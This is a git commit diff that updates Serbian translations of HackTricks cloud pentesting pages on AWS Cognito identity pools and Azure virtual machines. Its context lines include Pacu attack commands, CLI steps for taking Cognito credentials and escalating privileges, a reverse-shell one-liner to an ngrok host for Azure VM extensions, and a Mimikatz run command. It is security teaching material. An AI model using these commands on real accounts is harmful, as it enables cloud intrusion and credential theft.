Translated ['src/pentesting-cloud/aws-security/aws-services/aws-cognito-

This commit is contained in:
Translator
2025-01-26 14:51:53 +00:00
parent 120d84c1d2
commit 43ccb15889
3 changed files with 39 additions and 39 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 3.5 MiB

View File

@@ -10,7 +10,7 @@ Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dob
- Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple
- Provajderi usklađeni sa OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) provajderi identiteta
- Identiteti autentifikovani od strane developera
- Identiteti koje autentifikuje programer
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
@@ -39,17 +39,17 @@ Da biste generisali sesije Identity Pool-a, prvo morate **generisati Identity ID
Ovo je **korisno za čuvanje informacija o korisniku** (koji će uvek koristiti isti Identity ID).
Pored toga, usluga **cognito-sync** je usluga koja omogućava **upravljanje i sinhronizaciju ovih informacija** (u skupovima podataka, slanje informacija u tokovima i SNS porukama...).
Štaviše, usluga **cognito-sync** je usluga koja omogućava **upravljanje i sinhronizaciju ovih informacija** (u skupovima podataka, slanje informacija u tokovima i SNS porukama...).
### Tools for pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS framework za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima, itd.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u id tokenima itd.
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
#### Usage
Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identity pool-a i korisničkog pool klijenta:
Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
@@ -59,7 +59,7 @@ Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, kl
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identiteta.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena.
#### Instalacija
```bash
@@ -75,10 +75,10 @@ Za više informacija proverite https://github.com/padok-team/cognito-scanner
### Neautentifikovani
Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti bruteforce).
Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti brute force).
> [!TIP]
> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu naziva `Cognito_<Ime identitetskog bazena>Unauth_Role`
> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu zove `Cognito_<Ime identitetskog bazena>Unauth_Role`
Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa:
```python
@@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
### Poboljšan vs Osnovni tok autentifikacije
Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu generisanu tokom sesije. Ova politika će dozvoliti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama).
Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/index.html#session-policies) za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama).
Međutim, postoji način da se to zaobiđe, ako je **Identitetski bazen omogućio "Osnovni (Klasični) Tok"**, korisnik će moći da dobije sesiju koristeći taj tok koji **neće imati tu restriktivnu politiku sesije**.
```bash
@@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<ro
> `Došlo je do greške (InvalidParameterException) prilikom pozivanja operacije GetOpenIdToken: Osnovni (klasični) tok nije omogućen, molimo koristite unapređeni tok.`
Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../../#whoami) i pokušati da [povećate privilegije](../../aws-privilege-escalation/).
Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../../index.html#whoami) i pokušati da [povećate privilegije](../../aws-privilege-escalation/index.html).
### Autentifikovani
> [!NOTE]
> Zapamtite da će **autentifikovani korisnici** verovatno imati **različite dozvole**, pa ako možete **da se prijavite unutar aplikacije**, pokušajte to i dobijte nove kredencijale.
Takođe bi mogli postojati **rolе** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool-u**.
Takođe bi mogle biti dostupne **uloge** za **autentifikovane korisnike koji pristupaju Identity Pool-u**.
Za to možda treba da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**.
Za ovo možda ćete morati da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete iskoristiti podrazumevano ponašanje i **sami kreirati novog korisnika**.
> [!TIP]
> **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_<Ime Identity Pool-a>Auth_Role`
U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati).
U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da bi drugi tipovi provajdera identiteta takođe mogli biti konfigurisani).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Dobijte identity_id iz prethodnog odgovora komande
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
# Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
<strong> --custom-role-arn &#x3C;role_arn> \
</strong> --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
--identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
</code></pre>
> [!WARNING]
> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**.
> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno prijaviti se i pristupiti IAM ulogama svih njih**.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Az - Virtuelne Mašine i Mreža
# Az - Virtuelne Mašine & Mreža
{{#include ../../../../banners/hacktricks-training.md}}
@@ -16,7 +16,7 @@ Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
### Konfiguracije bezbednosti
- **Zone dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona.
- **Zoni dostupnosti**: Zone dostupnosti su različite grupe datacentara unutar specifične Azure regije koje su fizički odvojene kako bi se smanjio rizik od uticaja lokalnih prekida ili katastrofa na više zona.
- **Tip bezbednosti**:
- **Standardna bezbednost**: Ovo je podrazumevani tip bezbednosti koji ne zahteva nikakvu specifičnu konfiguraciju.
- **Pouzdano pokretanje**: Ovaj tip bezbednosti poboljšava zaštitu od boot kitova i malvera na nivou jezgra korišćenjem Secure Boot i Virtual Trusted Platform Module (vTPM).
@@ -39,16 +39,16 @@ Azure Virtuelne Mašine (VM-ovi) su fleksibilni, na zahtev **serveri zasnovani n
- Ukupna mreža izlaz je veća od 200GB
- VmAvailabilityMetric je manji od 1
- **Monitor zdravlja**: Podrazumevano proverava protokol HTTP na portu 80
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne i obrisan (**CanNotDelete** zaključavanje).
- **Zaključavanja**: Omogućava zaključavanje VM-a tako da može biti samo čitan (**ReadOnly** zaključavanje) ili može biti čitan i ažuriran, ali ne može biti obrisan (**CanNotDelete** zaključavanje).
- Većina resursa povezanih sa VM-ovima **takođe podržava zaključavanja** kao što su diskovi, snimci...
- Zaključavanja se takođe mogu primeniti na **nivoima grupe resursa i pretplate**
## Diskovi i snimci
## Diskovi & snimci
- Moguće je **omogućiti povezivanje diska na 2 ili više VM-ova**
- Moguće je **omogućiti povezivanje diska sa 2 ili više VM-ova**
- Podrazumevano je svaki disk **enkriptovan** sa ključem platforme.
- Isto važi i za snimke
- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može i **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup.
- Podrazumevano je moguće **deliti disk sa svih mreža**, ali se može **ograničiti** samo na određene **privatne pristupe** ili **potpuno onemogućiti** javni i privatni pristup.
- Isto važi i za snimke
- Moguće je **generisati SAS URI** (maksimalno 60 dana) za **izvoz diska**, koji se može konfigurisati da zahteva autentifikaciju ili ne
- Isto važi i za snimke
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Slike, Galerijske Slike i Tačke Obnavljanja
**VM slika** je šablon koji sadrži operativni sistem, postavke aplikacija i datotečni sistem potrebne za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\
Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne.
**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija koji su konzistentni u određenom trenutku **svi upravljani diskovi** povezani sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
**Tačka obnavljanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku.
{{#tabs}}
{{#tab name="az cli"}}
@@ -150,7 +150,7 @@ Iz [**dokumentacije**](https://learn.microsoft.com/en-us/azure/site-recovery/sit
Azure Bastion omogućava siguran i neometan **Remote Desktop Protocol (RDP)** i **Secure Shell (SSH)** pristup vašim virtuelnim mašinama (VM) direktno kroz Azure Portal ili putem jump box-a. Tako što **uklanja potrebu za javnim IP adresama** na vašim VM-ima.
Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**.
Bastion postavlja podmrežu nazvanu **`AzureBastionSubnet`** sa `/26` mrežnom maskom u VNet-u na kojem treba da radi. Zatim omogućava **povezivanje sa internim VM-ima putem pregledača** koristeći `RDP` i `SSH`, izbegavajući izlaganje portova VM-ova internetu. Takođe može raditi kao **jump host**.
Da biste naveli sve Azure Bastion hostove u vašoj pretplati i povezali se sa VM-ima putem njih, možete koristiti sledeće komande:
@@ -462,7 +462,7 @@ Moguće je **pokrenuti prilagođene ekstenzije koje izvršavaju prilagođeni kod
{{#tabs }}
{{#tab name="Linux" }}
- Izvrši reverznu školjku
- Izvrši reverznu ljusku
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -603,13 +603,13 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html).
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VMs iz automatskog naloga. Za više informacija proverite [Automation Accounts service](../az-automation-account/index.html).
</details>
### VM Applications
Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VM-ovima.
Ovo su paketi sa svim **podacima o aplikaciji i skriptama za instalaciju i deinstalaciju** koji se mogu koristiti za lako dodavanje i uklanjanje aplikacija u VMs.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -622,7 +622,7 @@ Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
Proverite kako da instalirate nove aplikacije u [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce.
@@ -721,17 +721,17 @@ az vm application set \
### Korisnički podaci
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure korisnički podaci se razlikuju od AWS i GCP jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**.
Ovo su **perzistentni podaci** koji se mogu preuzeti sa metadata krajnje tačke u bilo kojem trenutku. Napomena: u Azure-u korisnički podaci se razlikuju od AWS-a i GCP-a jer **ako ovde postavite skriptu, ona se po defaultu ne izvršava**.
### Prilagođeni podaci
Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim putanjama:
- U **Windows** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se.
- U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
- U **Windows-u** prilagođeni podaci se smeštaju u `%SYSTEMDRIVE%\AzureData\CustomData.bin` kao binarni fajl i ne obrađuju se.
- U **Linux-u** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima
- **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima.
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite.
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde stavite.
- Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
```bash
#!/bin/sh
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Pokreni Komandu**
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}
@@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## Neautentifikovani pristup
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## Post eksploatacija